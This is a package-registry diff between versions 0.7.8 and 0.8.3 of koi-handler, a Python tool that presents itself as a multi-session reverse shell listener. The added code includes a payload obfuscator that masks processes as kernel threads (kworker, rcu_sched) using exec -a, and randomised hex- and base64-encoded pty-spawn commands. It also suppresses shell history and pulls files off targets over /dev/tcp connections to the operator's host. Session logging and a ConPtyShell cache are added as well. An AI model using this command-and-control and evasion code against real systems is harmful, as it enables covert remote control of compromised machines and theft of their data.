koi-handler 0.7.8__tar.gz → 0.8.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. {koi_handler-0.7.8/src/koi_handler.egg-info → koi_handler-0.8.3}/PKG-INFO +1 -1
  2. {koi_handler-0.7.8 → koi_handler-0.8.3}/pyproject.toml +3 -1
  3. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/listener.py +28 -11
  4. koi_handler-0.8.3/src/koi/main.py +114 -0
  5. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/blueprint.py +4 -0
  6. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/download.py +18 -6
  7. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/env_dump.py +0 -10
  8. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/get_processes.py +0 -15
  9. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/network_enum.py +0 -18
  10. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/session.py +1 -0
  11. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/bash_obfuscate.py +56 -0
  12. koi_handler-0.8.3/src/koi/utils/cache.py +32 -0
  13. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/cli.py +2 -1
  14. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/interact.py +15 -5
  15. koi_handler-0.8.3/src/koi/utils/logger.py +206 -0
  16. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/payloads.py +1 -1
  17. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/powerupgrade.py +33 -3
  18. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/ps_obfuscate.py +2 -0
  19. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/ui.py +12 -5
  20. {koi_handler-0.7.8 → koi_handler-0.8.3/src/koi_handler.egg-info}/PKG-INFO +1 -1
  21. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/SOURCES.txt +2 -0
  22. koi_handler-0.8.3/src/koi_handler.egg-info/entry_points.txt +4 -0
  23. koi_handler-0.7.8/src/koi/main.py +0 -58
  24. koi_handler-0.7.8/src/koi_handler.egg-info/entry_points.txt +0 -2
  25. {koi_handler-0.7.8 → koi_handler-0.8.3}/LICENSE +0 -0
  26. {koi_handler-0.7.8 → koi_handler-0.8.3}/setup.cfg +0 -0
  27. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/get_users.py +0 -0
  28. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/ligolo.py +0 -0
  29. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/loader.py +0 -0
  30. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/populate_win.py +0 -0
  31. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/sharphound.py +0 -0
  32. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/sysinfo.py +0 -0
  33. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/upload.py +0 -0
  34. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/__init__.py +0 -0
  35. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/detect.py +0 -0
  36. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/models.py +0 -0
  37. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/obfuscate_ui.py +0 -0
  38. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/tcp.py +0 -0
  39. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  40. {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.7.8
3
+ Version: 0.8.3
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,12 +4,14 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.7.8"
7
+ version = "0.8.3"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
 
11
11
  [project.scripts]
12
12
  koi = "koi.main:main"
13
+ koifuscator = "koi.main:obfuscator"
14
+ koireview = "koi.main:koireview"
13
15
 
14
16
  [tool.setuptools.packages.find]
15
17
  where = ["src"]
@@ -62,7 +62,7 @@ class _MaskStream:
62
62
 
63
63
 
64
64
  class Listener:
65
- def __init__(self, host: str = "0.0.0.0", port: int = 4444):
65
+ def __init__(self, host: str = "0.0.0.0", port: int = 4010):
66
66
  self.host = host
67
67
  self.port = port
68
68
  self._sessions: Dict[int, Session] = {}
@@ -79,6 +79,7 @@ class Listener:
79
79
  self._conpty_lock = threading.Lock()
80
80
  self.screenable_mode: bool = False
81
81
  self._accepting: bool = True
82
+ self._loggers: dict = {}
82
83
 
83
84
  def _mask_ip(self, ip: str, kind: str = "remote") -> str:
84
85
  """Return a placeholder instead of a real IP when screenable mode is active."""
@@ -89,7 +90,7 @@ class Listener:
89
90
  def _toggle_screenable(self) -> None:
90
91
  self.screenable_mode = not self.screenable_mode
91
92
  state = _c("ON") if self.screenable_mode else _gr("OFF")
92
- sys.stdout.write("\033[F\033[2K") # move up + wipe the echoed _koi_screenable_ line
93
+ sys.stdout.write("\033[F\033[2K")
93
94
  notify('info', f"Screenable mode {state}")
94
95
  sys.stdout.flush()
95
96
 
@@ -108,6 +109,10 @@ class Listener:
108
109
  sess = self._sessions.pop(sid, None)
109
110
  if sess:
110
111
  sess.close()
112
+ if sid in self._loggers:
113
+ self._loggers[sid].log_event("terminated")
114
+ self._loggers[sid].close()
115
+ del self._loggers[sid]
111
116
 
112
117
  def _prune(self) -> None:
113
118
  for sid in [k for k, s in self._sessions.items() if not s.alive]:
@@ -127,7 +132,6 @@ class Listener:
127
132
  conn.close()
128
133
  continue
129
134
 
130
- # ConPtyShell callback: stash without assigning an ID
131
135
  if addr[0] in self._pending_conpty:
132
136
  os_type = self._pending_conpty.pop(addr[0])
133
137
  staging = Session(id=-1, conn=conn, addr=addr)
@@ -295,6 +299,9 @@ class Listener:
295
299
  elif cmd in ("obfuscator", "obs", "cook"):
296
300
  self._cmd_obfuscate(parts[1] if len(parts) > 1 else None)
297
301
 
302
+ elif cmd in ("logs", "log"):
303
+ self._cmd_logs()
304
+
298
305
  elif cmd in ("modules", "mdls", "mods"):
299
306
  self._cmd_modules()
300
307
 
@@ -366,6 +373,10 @@ class Listener:
366
373
  data[key] = s._uptime()
367
374
  print_report_box("Sessions", data)
368
375
 
376
+ def _cmd_logs(self) -> None:
377
+ from koi.utils.logger import print_log_list
378
+ print_log_list()
379
+
369
380
  def _cmd_reload(self) -> None:
370
381
  with Spinner("Reloading modules…"):
371
382
  modules = load_modules(reload=True)
@@ -395,19 +406,15 @@ class Listener:
395
406
  return
396
407
 
397
408
  with Spinner("Upgrading shell…"):
398
- spawn = (
399
- "python3 -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
400
- "python -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
401
- "script -qc /bin/bash /dev/null\n"
402
- )
403
- sess.send(spawn.encode())
409
+ from koi.utils.bash_obfuscate import obfuscated_upgrade_spawn
410
+ sess.send(obfuscated_upgrade_spawn().encode())
404
411
  self._drain(sess, 0.8)
405
412
 
406
413
  if not sess.alive:
407
414
  notify('error', f"Session {_p(f'#{sid}')} died during upgrade.")
408
415
  return
409
416
 
410
- sess.send(b"export TERM=xterm-256color HISTFILE=/dev/null\n")
417
+ sess.send(b"export TERM=xterm-256color HISTSIZE=0 HISTFILESIZE=0\n")
411
418
  self._drain(sess, 0.3)
412
419
  self._sync_winsize(sess)
413
420
  self._drain(sess, 0.3)
@@ -467,8 +474,18 @@ class Listener:
467
474
  sys.stdout.write("\033[2J\033[H")
468
475
  sys.stdout.flush()
469
476
 
477
+ if sess.id not in self._loggers:
478
+ from koi.utils.logger import start_logger
479
+ lg = start_logger(sess)
480
+ self._loggers[sess.id] = lg
481
+ sess.log_path = str(lg.path)
482
+ notify('info', f"Logging to {_gr(lg.path.name)}")
483
+
470
484
  self._in_session = True
471
- reason = interact(sess)
485
+ logger = self._loggers.get(sess.id)
486
+ logger.log_event(f"enter — {self._mask_ip(ip)}:{port}")
487
+ reason = interact(sess, logger=logger)
488
+ logger.log_event(reason)
472
489
  self._in_session = False
473
490
 
474
491
  signal.signal(signal.SIGWINCH, signal.SIG_DFL)
@@ -0,0 +1,114 @@
1
+ #!/usr/bin/env python3
2
+
3
+ from __future__ import annotations
4
+
5
+ import argparse
6
+ import signal
7
+ import sys
8
+
9
+ from koi.listener import Listener
10
+ from koi.utils.ui import notify, _b, _p, _c, display_art, print_payloads
11
+ from koi.utils.obfuscate_ui import run_obfuscate_ui
12
+ from koi.utils.logger import review as _review
13
+ from koi.utils.logger import clear_log as _clear_log
14
+
15
+
16
+
17
+ class _ArtHelpAction(argparse.Action):
18
+ def __init__(self, option_strings, dest=argparse.SUPPRESS, default=argparse.SUPPRESS, help=None):
19
+ super().__init__(option_strings=option_strings, dest=dest, default=default, nargs=0, help=help)
20
+
21
+ def __call__(self, parser, namespace, values, option_string=None):
22
+ display_art(small=True)
23
+ parser.print_help()
24
+ parser.exit()
25
+
26
+
27
+ def main():
28
+ parser = argparse.ArgumentParser(
29
+ description="koi – multi-session reverse shell listener",
30
+ add_help=False,
31
+ )
32
+ parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
33
+ parser.add_argument("--host", default="0.0.0.0", help="Bind address (default: 0.0.0.0)")
34
+ parser.add_argument("--port", "-p", type=int, default=4010, help="Listen port (default: 4010)")
35
+ parser.add_argument("--payloads", nargs="?", const="__all__", metavar="IFACE",
36
+ help="Print payloads for all interfaces (or a specific one) and exit")
37
+ parser.add_argument("--obfuscator", "--cook", nargs="?", const="__all__", metavar="IFACE",
38
+ help="Open the payload obfuscator (optionally for a specific interface) and exit")
39
+ args = parser.parse_args()
40
+
41
+ if args.payloads is not None:
42
+ print_payloads(None if args.payloads == "__all__" else args.payloads, args.port)
43
+ sys.exit(0)
44
+
45
+ if args.obfuscator is not None:
46
+ run_obfuscate_ui(None if args.obfuscator == "__all__" else args.obfuscator, args.port)
47
+ sys.exit(0)
48
+
49
+ listener = Listener(host=args.host, port=args.port)
50
+
51
+ signal.signal(
52
+ signal.SIGINT,
53
+ lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
54
+ )
55
+
56
+ try:
57
+ listener.start()
58
+ except PermissionError:
59
+ notify('error', f"Permission denied on port {args.port}.")
60
+ sys.exit(1)
61
+ except OSError as e:
62
+ notify('error', f"Cannot start listener: {e}")
63
+ sys.exit(1)
64
+
65
+
66
+ def koireview():
67
+ parser = argparse.ArgumentParser(
68
+ description="koireview – review a recorded Koi session",
69
+ add_help=False,
70
+ )
71
+ parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
72
+ parser.add_argument("log", nargs="?", default=None, metavar="LOG",
73
+ help="Log file to review (name or path). Omit to list available logs.")
74
+ parser.add_argument("-c", "--clear", action="store_true", help="Clear the specified log or all logs if none specified")
75
+ args = parser.parse_args()
76
+
77
+ if args.log is None:
78
+ from koi.utils.logger import print_log_list
79
+ print_log_list()
80
+ else:
81
+ _review(args.log)
82
+
83
+ if args.clear:
84
+ if args.log is None:
85
+ from koi.utils.logger import list_logs
86
+ logs = list_logs()
87
+ if not logs:
88
+ print("No logs to clear.")
89
+ return
90
+ for log in logs:
91
+ _clear_log(log)
92
+ else:
93
+ from koi.utils.logger import resolve_log
94
+ log_path = resolve_log(args.log)
95
+ if log_path is None:
96
+ print(f"Log not found: {args.log}", file=sys.stderr)
97
+ sys.exit(1)
98
+ _clear_log(log_path)
99
+
100
+ def obfuscator():
101
+ parser = argparse.ArgumentParser(
102
+ description="koifuscator – payload obfuscator",
103
+ add_help=False,
104
+ )
105
+ parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
106
+ parser.add_argument("--port", "-p", type=int, default=4010, help="Callback port embedded in the payload (default: 4010)")
107
+ parser.add_argument("iface", nargs="?", default=None, metavar="IFACE",
108
+ help="Network interface to use (default: all)")
109
+ args = parser.parse_args()
110
+ run_obfuscate_ui(args.iface, args.port)
111
+
112
+
113
+ if __name__ == "__main__":
114
+ main()
@@ -347,6 +347,10 @@ class KoiModule(ABC):
347
347
  def status(self, msg: str) -> None:
348
348
  """Print a status notification."""
349
349
  self.notify("status", msg)
350
+
351
+ def success(self, msg: str) -> None:
352
+ """Print a success notification."""
353
+ self.notify("success", msg)
350
354
 
351
355
  def __str__(self) -> str:
352
356
  return f"<KoiModule {self.name!r} on session #{self.session.id}>"
@@ -3,6 +3,7 @@ import ntpath
3
3
  import os
4
4
  import posixpath
5
5
  import select
6
+ import shlex
6
7
  import socket
7
8
  import threading
8
9
  import time
@@ -15,6 +16,11 @@ def _remote_basename(path: str) -> str:
15
16
  return ntpath.basename(path) or posixpath.basename(path)
16
17
 
17
18
 
19
+ def _shell_quote(path: str) -> str:
20
+ """Quote a path for safe use in a remote shell command (Linux only)."""
21
+ return shlex.quote(path)
22
+
23
+
18
24
  class DownloadModule(KoiModule):
19
25
  name = "download"
20
26
  description = "Download a file from the target via a dedicated TCP connection."
@@ -22,23 +28,29 @@ class DownloadModule(KoiModule):
22
28
  category = "File transfer"
23
29
  platform = ["linux", "windows_ps"]
24
30
  arguments = [
25
- {"flags": ["remote_path"], "help": "Path of the file on the remote target"},
31
+ {
32
+ "flags": ["remote_path"],
33
+ "help": "Path of the file on the remote target (quotes optional, spaces supported)",
34
+ "nargs": "+",
35
+ },
26
36
  {"flags": ["-o", "--output"], "default": None, "help": "Local output path"},
27
37
  ]
28
38
 
29
39
  def run(self) -> None:
30
- remote_path = self.args.remote_path
40
+ remote_path = " ".join(self.args.remote_path)
31
41
  local_path = self.args.output or _remote_basename(remote_path)
32
42
  local_ip = self._get_local_ip()
33
43
  os_type = self.session.os_type
34
44
 
45
+ quoted = _shell_quote(remote_path)
46
+
35
47
  # Step 1 : existence check
36
48
  with self.spinner("Checking if file exists…"):
37
49
  if os_type == "linux":
38
50
  token_ok = uuid.uuid4().hex
39
51
  token_err = uuid.uuid4().hex
40
52
  result = self.exec(
41
- f"test -f {remote_path} && echo {token_ok} || echo {token_err}"
53
+ f"test -f {quoted} && echo {token_ok} || echo {token_err}"
42
54
  )
43
55
  exists = result.stdout.count(token_err) < 2
44
56
  else:
@@ -52,7 +64,7 @@ class DownloadModule(KoiModule):
52
64
  # Step 2 : file size
53
65
  with self.spinner("Getting file size…"):
54
66
  if os_type == "linux":
55
- size_str = self._exec_clean(f"wc -c < {remote_path}")
67
+ size_str = self._exec_clean(f"wc -c < {quoted}")
56
68
  try:
57
69
  remote_size = int(size_str.split()[0])
58
70
  except (ValueError, IndexError):
@@ -106,7 +118,7 @@ class DownloadModule(KoiModule):
106
118
  # Step 4 : trigger remote transfer
107
119
  if os_type == "linux":
108
120
  self.exec(
109
- f"cat {remote_path} > /dev/tcp/{local_ip}/{port}",
121
+ f"cat {quoted} > /dev/tcp/{local_ip}/{port}",
110
122
  timeout=30,
111
123
  )
112
124
  else:
@@ -154,4 +166,4 @@ class DownloadModule(KoiModule):
154
166
  "remote path": remote_path,
155
167
  "local path": os.path.abspath(local_path),
156
168
  "size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
157
- })
169
+ })
@@ -57,8 +57,6 @@ class EnvDumpModule(KoiModule):
57
57
  },
58
58
  ]
59
59
 
60
- # ── helpers ───────────────────────────────────────────────────────────────
61
-
62
60
  def _display(self, env: dict[str, str], show_all: bool, total: int) -> None:
63
61
  interesting = {k: v for k, v in env.items() if _is_interesting(k, v)}
64
62
  rest = {k: v for k, v in env.items() if k not in interesting}
@@ -76,8 +74,6 @@ class EnvDumpModule(KoiModule):
76
74
  elif not show_all and rest:
77
75
  self.ok(f"{len(rest)} other variables — use -a to show all.")
78
76
 
79
- # ── Linux ─────────────────────────────────────────────────────────────────
80
-
81
77
  def _run_linux(self) -> None:
82
78
  with self.spinner("Dumping environment…"):
83
79
  raw = self._exec_clean("printenv 2>/dev/null || env 2>/dev/null", timeout=10)
@@ -99,11 +95,7 @@ class EnvDumpModule(KoiModule):
99
95
  show_all = getattr(self.args, "all", False)
100
96
  self._display(env, show_all, len(env))
101
97
 
102
- # ── Windows PS ────────────────────────────────────────────────────────────
103
-
104
98
  def _run_windows(self) -> None:
105
- # Use ||| as key/value separator (unlikely to appear in a var name)
106
- # and § to join lines, so _win_query returns everything in one shot.
107
99
  ps_expr = (
108
100
  "(Get-ChildItem Env: | ForEach-Object {"
109
101
  "\"$($_.Name)|||$($_.Value)\""
@@ -129,8 +121,6 @@ class EnvDumpModule(KoiModule):
129
121
  show_all = getattr(self.args, "all", False)
130
122
  self._display(env, show_all, len(env))
131
123
 
132
- # ── entry point ───────────────────────────────────────────────────────────
133
-
134
124
  def run(self) -> None:
135
125
  if self.session.os_type == "linux":
136
126
  self._run_linux()
@@ -42,10 +42,6 @@ class GetProcessesModule(KoiModule):
42
42
  },
43
43
  ]
44
44
 
45
- # ── shared ────────────────────────────────────────────────────────────────
46
-
47
- # ── Linux ─────────────────────────────────────────────────────────────────
48
-
49
45
  def _parse_linux(self, raw: str) -> list[dict]:
50
46
  procs = []
51
47
  for line in raw.splitlines():
@@ -103,17 +99,12 @@ class GetProcessesModule(KoiModule):
103
99
  val_fn=lambda p: p["cmd"],
104
100
  )
105
101
 
106
- # ── Windows PS ────────────────────────────────────────────────────────────
107
-
108
102
  _WIN_SYSTEM_USERS = frozenset({
109
103
  "n/a", "nt authority\\system", "nt authority\\local service",
110
104
  "nt authority\\network service",
111
105
  })
112
106
 
113
107
  def _parse_windows_tasklist(self, raw: str) -> list[dict]:
114
- # tasklist /fo csv /nh /v columns:
115
- # "Image Name","PID","Session Name","Session#","Mem Usage",
116
- # "Status","User Name","CPU Time","Window Title"
117
108
  procs = []
118
109
  for entry in raw.split("§"):
119
110
  entry = self._clean(entry)
@@ -148,8 +139,6 @@ class GetProcessesModule(KoiModule):
148
139
  return False
149
140
 
150
141
  def _run_windows(self) -> None:
151
- # Run tasklist inside PS and join all lines with § so _win_query
152
- # (which returns the last echoed line) gets the full output at once.
153
142
  ps_expr = "(tasklist /fo csv /nh /v) -join '§'"
154
143
  with self.spinner("Collecting processes via tasklist…"):
155
144
  raw = self._win_query(ps_expr, timeout=30)
@@ -167,8 +156,6 @@ class GetProcessesModule(KoiModule):
167
156
  val_fn=lambda p: f"session={p['session']} mem={p['mem']}",
168
157
  )
169
158
 
170
- # ── dispatch (shared filtering/display logic) ─────────────────────────────
171
-
172
159
  def _dispatch(self, procs, total, is_interesting, key_fn, val_fn) -> None:
173
160
  keyword = getattr(self.args, "filter", None)
174
161
  show_all = getattr(self.args, "all", False)
@@ -200,8 +187,6 @@ class GetProcessesModule(KoiModule):
200
187
  else:
201
188
  self.ok(f"No noteworthy processes found ({total} total). Use -a to list all.")
202
189
 
203
- # ── entry point ───────────────────────────────────────────────────────────
204
-
205
190
  def run(self) -> None:
206
191
  if self.session.os_type == "linux":
207
192
  self._run_linux()
@@ -31,16 +31,12 @@ class NetworkEnumModule(KoiModule):
31
31
  },
32
32
  ]
33
33
 
34
- # ── helpers ───────────────────────────────────────────────────────────────
35
-
36
34
  def _run(self, cmd: str, timeout: float = 15.0) -> str:
37
35
  try:
38
36
  return self._exec_clean(cmd, timeout=timeout)
39
37
  except Exception:
40
38
  return ""
41
39
 
42
- # ── section: interfaces ───────────────────────────────────────────────────
43
-
44
40
  def _section_interfaces(self) -> tuple[dict, list[tuple[str, str]]]:
45
41
  """Return (box_data, [(iface, ipv4_cidr), ...]) for non-loopback interfaces."""
46
42
  raw = self._run("ip -o addr show")
@@ -62,8 +58,6 @@ class NetworkEnumModule(KoiModule):
62
58
  box = {iface: " ".join(addrs) for iface, addrs in grouped.items()}
63
59
  return box, ipv4_ifaces
64
60
 
65
- # ── section: routes ───────────────────────────────────────────────────────
66
-
67
61
  def _section_routes(self) -> dict:
68
62
  raw = self._run("ip route show")
69
63
  box: dict[str, str] = {}
@@ -77,8 +71,6 @@ class NetworkEnumModule(KoiModule):
77
71
  box[dest] = rest
78
72
  return box
79
73
 
80
- # ── section: ARP neighbors (cached, instant) ──────────────────────────────
81
-
82
74
  def _section_neighbors(self) -> dict:
83
75
  raw = self._run("ip neigh show 2>/dev/null || arp -a 2>/dev/null")
84
76
  box: dict[str, str] = {}
@@ -103,8 +95,6 @@ class NetworkEnumModule(KoiModule):
103
95
  box[ip] = f"{mac} dev={dev}"
104
96
  return box
105
97
 
106
- # ── section: listening ports ──────────────────────────────────────────────
107
-
108
98
  def _section_listening(self) -> dict:
109
99
  raw = self._run("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null")
110
100
  box: dict[str, str] = {}
@@ -128,8 +118,6 @@ class NetworkEnumModule(KoiModule):
128
118
  box[local] = process
129
119
  return box
130
120
 
131
- # ── section: established connections ─────────────────────────────────────
132
-
133
121
  def _section_connections(self) -> dict:
134
122
  raw = self._run(
135
123
  "ss -tnp state established 2>/dev/null || "
@@ -153,8 +141,6 @@ class NetworkEnumModule(KoiModule):
153
141
  box[f"{local} → {remote}"] = process
154
142
  return box
155
143
 
156
- # ── section: DNS ──────────────────────────────────────────────────────────
157
-
158
144
  def _section_dns(self) -> dict:
159
145
  raw = self._run("cat /etc/resolv.conf 2>/dev/null")
160
146
  box: dict[str, str] = {}
@@ -172,8 +158,6 @@ class NetworkEnumModule(KoiModule):
172
158
  box[key if n == 0 else f"{key} {n + 1}"] = val
173
159
  return box
174
160
 
175
- # ── host discovery (ARP scan) ─────────────────────────────────────────────
176
-
177
161
  @staticmethod
178
162
  def _cidr_to_network(cidr: str) -> tuple[str, int]:
179
163
  ip_str, prefix_str = cidr.split("/")
@@ -302,8 +286,6 @@ class NetworkEnumModule(KoiModule):
302
286
  else:
303
287
  self.warn(f"No live hosts found on {network}.")
304
288
 
305
- # ── entry point ───────────────────────────────────────────────────────────
306
-
307
289
  def run(self) -> None:
308
290
  no_scan = getattr(self.args, "no_scan", False)
309
291
  subnet = getattr(self.args, "subnet", None)
@@ -33,6 +33,7 @@ class Session:
33
33
  os_type: OsType = field(default=None)
34
34
  encoding: str = field(default="utf-8")
35
35
  eol: str = field(default="\n")
36
+ log_path: Optional[str] = field(default=None)
36
37
  _lock: threading.Lock = field(default_factory=threading.Lock, repr=False)
37
38
 
38
39
  def _uptime(self) -> str:
@@ -69,6 +69,22 @@ def _bash_ifs(payload: str) -> str:
69
69
  return f"export {v}='{payload}';eval ${v}"
70
70
 
71
71
 
72
+ _FAKE_PROC_NAMES = [
73
+ "[kworker/0:1]", "[kworker/1:2]", "[kworker/2:0]",
74
+ "[migration/0]", "[migration/1]",
75
+ "[watchdog/0]", "[watchdog/1]",
76
+ "[ksoftirqd/0]", "[ksoftirqd/1]",
77
+ "[rcu_sched]", "[rcu_bh]",
78
+ ]
79
+
80
+
81
+ def _bash_spoof_argv(payload: str) -> str:
82
+ """Wrap with exec -a to spoof process name in ps/top."""
83
+ name = random.choice(_FAKE_PROC_NAMES)
84
+ encoded = base64.b64encode(payload.encode()).decode()
85
+ return f"exec -a '{name}' bash <(echo {encoded}|base64 -d)"
86
+
87
+
72
88
  METHODS: list[tuple[str, str, Callable[[str], str]]] = [
73
89
  ("ansi_c", "$'\\xNN' ANSI-C quoting on key tokens", _bash_ansi_c),
74
90
  ("printf_hex", "$(printf '\\xNN') hex encoding", _bash_printf_hex),
@@ -76,4 +92,44 @@ METHODS: list[tuple[str, str, Callable[[str], str]]] = [
76
92
  ("var_split", "token split across shell variables", _bash_var_split),
77
93
  ("base64", "bash<<<$(base64 -d<<<...) full wrap", _bash_base64),
78
94
  ("ifs", "store in variable and eval", _bash_ifs),
95
+ ("spoof_argv", "exec -a to mask process name in ps/top", _bash_spoof_argv),
79
96
  ]
97
+
98
+
99
+ def _hex(s: str) -> str:
100
+ return "".join(f"\\x{ord(c):02x}" for c in s)
101
+
102
+
103
+ def _py_hex_import() -> str:
104
+ """__import__("\\x70\\x74\\x79").spawn("\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68")"""
105
+ return f'__import__("{_hex("pty")}").spawn("{_hex("/bin/bash")}")'
106
+
107
+
108
+ def _py_getattr_concat() -> str:
109
+ """getattr(__import__("p"+"ty"), "sp"+"awn")("/bin/bash")"""
110
+ i = random.randint(1, 2)
111
+ j = random.randint(1, 4)
112
+ pty_split = f'"{"pty"[:i]}"+"{"pty"[i:]}"'
113
+ spawn_split = f'"{"spawn"[:j]}"+"{"spawn"[j:]}"'
114
+ return f'getattr(__import__({pty_split}),{spawn_split})("/bin/bash")'
115
+
116
+
117
+ def _py_b64_exec() -> str:
118
+ """exec(__import__("base64").b64decode(b"...").decode())"""
119
+ payload = 'import pty; pty.spawn("/bin/bash")'
120
+ encoded = base64.b64encode(payload.encode()).decode()
121
+ return f'exec(__import__("base64").b64decode(b"{encoded}").decode())'
122
+
123
+
124
+ def obfuscated_upgrade_spawn() -> str:
125
+ """Return a randomised obfuscated upgrade command for Linux PTY spawn."""
126
+ technique = random.choice([_py_hex_import, _py_getattr_concat, _py_b64_exec])
127
+ code = technique()
128
+ name = random.choice(_FAKE_PROC_NAMES)
129
+ py = (
130
+ f"exec -a '{name}' python3 -c '{code}' 2>/dev/null || "
131
+ f"exec -a '{name}' python -c '{code}' 2>/dev/null"
132
+ )
133
+ script = "$'" + "".join(f"\\x{ord(c):02x}" for c in "script") + "'"
134
+ fallback = f"{script} -qc /bin/bash /dev/null"
135
+ return f"{py} || {fallback}\n"
@@ -0,0 +1,32 @@
1
+ from __future__ import annotations
2
+
3
+ from pathlib import Path
4
+
5
+ _CACHE_DIR = Path.home() / ".koi" / "cache"
6
+ _CONPTY_FILENAME = "Invoke-ConPtyShell.ps1"
7
+
8
+
9
+ def cache_dir() -> Path:
10
+ _CACHE_DIR.mkdir(parents=True, exist_ok=True)
11
+ return _CACHE_DIR
12
+
13
+
14
+ def conpty_cache_path() -> Path:
15
+ return cache_dir() / _CONPTY_FILENAME
16
+
17
+
18
+ def save_conptyshell(data: bytes) -> None:
19
+ """Persist a fresh copy of ConPtyShell to the local cache."""
20
+ conpty_cache_path().write_bytes(data)
21
+
22
+
23
+ def load_conptyshell() -> bytes | None:
24
+ """Return the cached ConPtyShell bytes, or None if no cache exists."""
25
+ p = conpty_cache_path()
26
+ if p.exists():
27
+ return p.read_bytes()
28
+ return None
29
+
30
+
31
+ def cache_exists() -> bool:
32
+ return conpty_cache_path().exists()
@@ -12,7 +12,7 @@ from koi.utils.ui import (
12
12
  COMMANDS = [
13
13
  "ls", "go", "upgrade", "kill", "setshell", "help", "exit",
14
14
  "quit", "interact", "payload", "obfuscator", "run", "modules",
15
- "reload", "start", "stop",
15
+ "reload", "start", "stop", "logs",
16
16
  ]
17
17
 
18
18
  _OS_TYPES = ["linux", "windows_ps", "windows_cmd"]
@@ -70,6 +70,7 @@ def print_help() -> None:
70
70
  f"{_p('run')} {_b('<module>')} {_b('<id>')} {_b('[args…]')}": "Run a module against a session",
71
71
  f"{_p('setshell')} {_b('<id>')} {_b('<os_type>')}": "Manually set the OS type of a session",
72
72
  f"{_p('stop')}": "Pause the listener — refuse new connections",
73
+ f"{_p('logs')}": "List recorded session logs",
73
74
  f"{_p('start')}": "Resume the listener — accept new connections again",
74
75
  f"{_p('help')}": "Show this message",
75
76
  f"{_p('exit')}": "Shut down the listener",
@@ -14,13 +14,13 @@ CTRL_Z = b"\x1a"
14
14
  CTRL_C = b"\x03"
15
15
 
16
16
 
17
- def interact(sess: Session) -> str:
17
+ def interact(sess: Session, logger=None) -> str:
18
18
  if sess.os_type in ("windows_cmd", "windows_ps") and not sess.upgraded:
19
- return _interact_windows(sess)
20
- return _interact_raw(sess)
19
+ return _interact_windows(sess, logger)
20
+ return _interact_raw(sess, logger)
21
21
 
22
22
 
23
- def _interact_raw(sess: Session) -> str:
23
+ def _interact_raw(sess: Session, logger=None) -> str:
24
24
  stop_event = threading.Event()
25
25
  result = ["backgrounded"]
26
26
 
@@ -36,6 +36,8 @@ def _interact_raw(sess: Session) -> str:
36
36
  result[0] = "disconnected"
37
37
  stop_event.set()
38
38
  return
39
+ if logger:
40
+ logger.log_output(data)
39
41
  sys.stdout.buffer.write(data)
40
42
  sys.stdout.buffer.flush()
41
43
  except OSError:
@@ -57,11 +59,15 @@ def _interact_raw(sess: Session) -> str:
57
59
  if CTRL_Z in key:
58
60
  before = key[: key.index(CTRL_Z)]
59
61
  if before:
62
+ if logger:
63
+ logger.log_input(before)
60
64
  sess.send(before)
61
65
  result[0] = "backgrounded"
62
66
  stop_event.set()
63
67
  break
64
68
 
69
+ if logger:
70
+ logger.log_input(key)
65
71
  if not sess.send(key):
66
72
  result[0] = "disconnected"
67
73
  stop_event.set()
@@ -74,7 +80,7 @@ def _interact_raw(sess: Session) -> str:
74
80
  return result[0]
75
81
 
76
82
 
77
- def _interact_windows(sess: Session) -> str:
83
+ def _interact_windows(sess: Session, logger=None) -> str:
78
84
  enc = sess.encoding
79
85
  stop_event = threading.Event()
80
86
  result = ["backgrounded"]
@@ -93,6 +99,8 @@ def _interact_windows(sess: Session) -> str:
